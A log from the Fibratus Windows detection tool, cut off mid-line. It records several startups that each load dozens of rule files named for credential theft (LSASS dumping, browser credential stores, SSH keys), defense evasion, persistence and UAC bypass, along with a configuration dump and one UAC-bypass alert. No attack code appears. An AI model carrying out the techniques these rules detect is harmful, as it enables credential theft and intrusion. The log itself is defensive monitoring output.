[Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:51:46+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:52:08+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:52:08+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:52:08+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:54:16+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:54:16+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:54:16+01:00 level=info msg=bootstrapping with pid 20244. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:54:16+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false use-template=>true content-type=>text/html port=>25 to=>[]] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-thread=>true enable-fileio=>true enable-mem=>false min-buffers=>16 enable-threadpool=>false buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false stack-enrichment=>true enable-handle=>false enable-vamap=>true flush-interval=>1s enable-registry=>true max-buffers=>36 enable-audit-api=>true enable-net=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true formatter=>text level=>info max-age=>0 max-backups=>15 max-size=>100] + output ......................... [ amqp=>[ exchange=>fibratus timeout=>5s exchange-type=>topic tls-insecure-skip-verify=>false vhost=>/ delivery-mode=>transient url=>amqp://localhost:5672 enabled=>false durable=>false routing-key=>fibratus passive=>false] elasticsearch=>[ enabled=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus timeout=>5s healthcheck-interval=>10s flush-period=>1s healthcheck-timeout=>5s sniff=>false bulk-workers=>1 template-name=>fibratus healthcheck=>true trace-log=>false] eventlog=>[ enabled=>false level=>info] http=>[ enable-gzip=>false serializer=>json enabled=>false endpoints=>[] method=>POST timeout=>5s tls-insecure-skip-verify=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s excluded-procs=>[] skip-allocs=>false excluded-files=>[] skip-mmaps=>false skip-files=>false enabled=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:54:16+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:54:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:54:30+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T15:54:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:54:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:54:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:55:09+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:55:09+01:00 level=info msg=loading rule from 